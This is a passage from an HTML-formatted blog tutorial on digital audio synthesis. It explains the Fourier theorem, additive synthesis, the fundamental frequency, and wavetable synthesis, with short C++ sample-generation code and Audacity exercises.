&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The Fourier Theorem and Fourier Transform are ubiquitous in modern day technology. It is the basis for many audio processing techniques such as filtering, equalisation, and noise cancellation. By manipulating the individual sine waves that make up a sound, we can alter its characteristics and create new sounds. The Fourier Transform is also a key component in compression, such as the JPG image format.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;What’s cool about this theorem is that we can apply it the other way: any periodic signal can be &lt;em&gt;generated&lt;/em&gt; by adding sine waves. This lays the groundwork for additive synthesis and generating audio with multiple pitches (e.g. a chord).&lt;/p&gt;
&lt;h2 id=&quot;additive-synthesis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#additive-synthesis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Additive Synthesis ➕&lt;/h2&gt;
&lt;p&gt;The principle of &lt;strong&gt;additive synthesis&lt;/strong&gt; is pretty straightforward: signals can be combined by adding samples along time.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Example of additive synthesis, localised on this very webpage.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/additive-synthesis-640w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/additive-synthesis-640w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 640 / 480&quot; alt=&quot;Example of additive synthesis, localised on this very webpage.&quot; title=&quot;Example of additive synthesis, localised on this very webpage.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/additive-synthesis-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/additive-synthesis-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/additive-synthesis-640w.webp 640w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 640px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Example of additive synthesis. The first and second signal show pure sine tones at 440Hz ($s_1$) and 660Hz ($s_2$). The third signal adds the two signals ($s_1 + s_2$). The fourth signal scales the third signal down to fit within $[-1, 1]$ ($(s_1 + s_2) / 2$). (&lt;a href=&quot;https://gist.github.com/TrebledJ/14b8842ef3696b09e299c34ba0da9e6c&quot;&gt;Source Code&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;To sound another pitch, we simply add a second sine wave to the buffer.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;SAMPLE_RATE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;44100&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;BUFFER_SIZE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;/**
 * Generate samples of two sine waves played together and store them in a buffer.
 * @param freq  Frequency of the first sine wave, in Hz.
 * @param freq2 Frequency of the second sine wave, in Hz.
 */&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;generate_samples2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; freq&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; freq2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.5f&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; freq &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.5f&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; freq2 &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Again, the code above populates the buffer with 1024 samples of audio. But this time, we introduced a second frequency &lt;code&gt;freq2&lt;/code&gt; and added a second sample to the buffer. We also made sure to scale the resulting sample back down to the $[-1, 1]$ range by multiplying each sample by 0.5.&lt;/p&gt;
&lt;p&gt;We can see additive synthesis in action with some help from &lt;a href=&quot;https://www.audacityteam.org/&quot;&gt;Audacity&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Let’s start off with one tone.
&lt;ul&gt;
&lt;li&gt;Generate a 440Hz tone (Generate &amp;gt; Tone… &amp;gt; Sine).&lt;/li&gt;
&lt;li&gt;Play it. You’ll hear a pure tone.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Now let’s add another tone.
&lt;ul&gt;
&lt;li&gt;Make a new track (Tracks &amp;gt; Add New &amp;gt; Mono Track).&lt;/li&gt;
&lt;li&gt;Generate an 880Hz tone in the new track. Same method as above.&lt;/li&gt;
&lt;li&gt;Play it to hear a beautiful sounding octave.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;The audacity of it all!&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/audacity-2000w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/audacity-2000w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2000 / 650&quot; alt=&quot;Screenshot of Audacity with the 440 Hertz and 880 Hertz sine tone.&quot; title=&quot;The audacity of it all!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/audacity-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/audacity-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/audacity-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/audacity-2000w.webp 2000w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2000px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;During playback, Audacity will combine the samples from both tracks by summing them and play the summed signal.&lt;/p&gt;
&lt;p&gt;You can try layering other frequencies (554Hz, 659Hz) to play a nifty A Major chord.&lt;/p&gt;
&lt;h2 id=&quot;fundamental-frequency&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#fundamental-frequency&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Fundamental Frequency&lt;/h2&gt;
&lt;p&gt;A side note. When combining two frequencies with additive synthesis, something subtle happens. The ground shifts and our feet fumble! The fundamental frequency implicitly changes!&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;DIY Example&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fire up Audacity.&lt;/li&gt;
&lt;li&gt;Generate a 400Hz sine tone. (Generate &amp;gt; Tone...)&lt;/li&gt;
&lt;li&gt;Generate a 402Hz sine tone on a different track.&lt;/li&gt;
&lt;li&gt;Play the audio and observe. How many times does the audio &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;i.e. hit a maximum point&quot;&gt;peak&lt;/abbr&gt; per second?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It peaks &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;twice&lt;/span&gt; per second. (That is, we implicitly added a &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;2Hz&lt;/span&gt; signal beneath!)&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Specifically, the fundamental changes to the &lt;strong&gt;greatest common divisor&lt;/strong&gt; (GCD) of the two frequencies.&lt;/p&gt;
&lt;p&gt;More notes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When we play a note and its 5th (in &lt;em&gt;Just Temperament&lt;/em&gt;), say 440Hz and 660Hz, our fundamental is 220Hz.&lt;/li&gt;
&lt;li&gt;With octaves, the fundamental frequency is just the frequency of the lower note.&lt;/li&gt;
&lt;li&gt;This also leads to some interesting phenomena.
&lt;ul&gt;
&lt;li&gt;When we play two super-low-register notes a semitone apart, we get funny, dissonant pulses emanating from our keyboard or piano.&lt;/li&gt;
&lt;li&gt;This may also lead to unpleasant buzzes when mixing synths, possibly due to frequency modulation on top of a steady tone.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;wavetable-synthesis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#wavetable-synthesis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Wavetable Synthesis 🌊&lt;/h2&gt;
&lt;p&gt;In previous code blocks, we computed samples using &lt;code&gt;sin()&lt;/code&gt;. But what if we wanted to compute something more complex? Do we really just reverse the Fourier theorem and apply additive synthesis on a bunch of sine signals? It turns out there&#39;s a better way.&lt;/p&gt;
&lt;p&gt;A more efficient approach is to interpolate over &lt;em&gt;pre-generated values&lt;/em&gt;, sacrificing a bit of memory for faster runtime performance. This is known as &lt;strong&gt;wavetable synthesis&lt;/strong&gt; or &lt;strong&gt;table-lookup synthesis&lt;/strong&gt;. The idea is to pre-generate one cycle of the wave (e.g. a sine) and store it in a lookup table. Then when generating samples for our audio, we would look up the pre-generated samples and derive intermediate values if necessary (via interpolation).&lt;/p&gt;
&lt;p&gt;This is akin to preparing a cheat sheet for an exam, but you&#39;re only allowed to bring one sheet of paper—space is precious. You decide to only include the most crucial equations, key points, and references. Then when taking the exam you refer to the cheat sheet for ideas, connect the dots, and combine them with your thoughts to form an answer.&lt;/p&gt;
&lt;div class=&quot;mb-2 rw center jw-75 video&quot;&gt;&lt;video autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot; class=&quot;jw-100&quot;&gt;&lt;source src=&quot;https://trebledj.me/img/wavetable-synthesis.mp4&quot; type=&quot;video/mp4&quot; /&gt;&lt;/video&gt;&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Example of wavetable synthesis. The blue dots (above) show a pre-generated wavetable of length 32. The red dots (below) are samples of a 8Hz sine wave sampled at 100Hz, generated by interpolating on the wavetable. (&lt;a href=&quot;https://gist.github.com/TrebledJ/f42f9030d1bee0ece8af7fc0db5d0151&quot;&gt;Source Code&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Wavetable synthesis can be implemented in C++ like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;SINE_WAVETABLE_SIZE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;SAMPLE_RATE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;44100&lt;/span&gt;  &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;// Number of samples per second (of the target waveform).&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;BUFFER_SIZE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// The pre-generated wavetable. It should capture one cycle of the desired waveform (in this case, a sine).&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; sine_wavetable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;SINE_WAVETABLE_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* pre-generated values ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// The phase indicates how far along the wavetable we are.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// We&#39;re concerned with two components: the integer and decimal.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// The integer part indicates the index of left sample along the wavetable, modulus the size.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// The decimal part indicates the fraction between the left and right samples.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; phase &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;/**
 * Generate samples of a sine wave by interpolating a wavetable.
 * @param freq  Frequency of the sine wave, in Hz.
 */&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get_next_sample&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; freq&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    size_t idx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;size_t&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;phase&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Integer part.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; frac &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; phase &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// Decimal part.&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Get the pre-generated sample to the LEFT of the current sample.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; samp0 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; sine_wavetable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;idx&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Get the pre-generated sample to the RIGHT of the current sample.&lt;/span&gt;
    idx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;idx &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; SINE_WAVETABLE_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; samp1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; sine_wavetable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;idx&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Interpolate between the left and right samples to get the current sample.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; inter &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;samp0 &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;samp1 &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; samp0&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; frac&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Advance the phase to prepare for the next sample.&lt;/span&gt;
    phase &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; SINE_WAVETABLE_SIZE &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; freq &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; inter&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;generate_samples_w&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; freq&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get_next_sample&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;freq&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// We&#39;ve offloaded the calculations to `get_next_sample`.&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;For a sine wave, we don&#39;t gain much in terms of performance. But when it comes to generating complex waveforms, wavetable synthesis rocks!&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Wavetable synthesis is commonly used by &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;a protocol for music&quot;&gt;MIDI&lt;/abbr&gt; to generate sounds. Each instrument has its own &lt;em&gt;soundfont&lt;/em&gt;, which is a collection of wavetables of different pitches. This unifies the synthesis approach for all instruments, as some may be simple to generate (e.g. clarinet) while others are more complex.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Additive synthesis and wavetable synthesis serve two very different purposes!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Additive synthesis aims to &lt;em&gt;combine multiple waveforms&lt;/em&gt;, of &lt;em&gt;any&lt;/em&gt; shape and size (e.g. playing chords, or combining guitar and voice tracks).&lt;/li&gt;
&lt;li&gt;Wavetable synthesis aims to generate a &lt;em&gt;specific&lt;/em&gt; waveform (in a fast manner).&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Besides this software approach, we can also leverage hardware to speed up processing. But this is a matter for the next post.&lt;/p&gt;
&lt;p&gt;Exercise for the reader:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What variables affect the speed at which we iterate through the pre-generated wavetable?&lt;/li&gt;
&lt;li&gt;What happens if we try to generate a waveform with frequency equal to half the sample rate? Or with frequency equal &lt;em&gt;to&lt;/em&gt; the sample rate itself?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;recap&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#recap&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Recap 🔁&lt;/h2&gt;
&lt;p&gt;Audio generation is pretty fun once we dive deep, as are its applications: toys, electronic instruments, virtual instruments, digital synths, speakers, hearing aids, and whatnot.  As before, I hope we communicated on the same wavelength and the information on this post did not experience aliasing. 😏&lt;/p&gt;
&lt;p&gt;In the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3&quot;&gt;next post&lt;/a&gt;, we&#39;ll dive even deeper into audio synthesis (particularly in embedded systems) and engineer a simple tone generator.&lt;/p&gt;
&lt;p&gt;To recap…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Audio samples may come from several sources. It may be recorded, loaded from a file, or &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#audio-synthesis&quot;&gt;synthesised&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;We can synthesise musical pitches by &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#buffering&quot;&gt;buffering&lt;/a&gt; samples and feeding them to hardware.&lt;/li&gt;
&lt;li&gt;According to the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#the-fourier-theorem&quot;&gt;Fourier Theorem&lt;/a&gt;, all signals can be broken into a summation of sine waves.&lt;/li&gt;
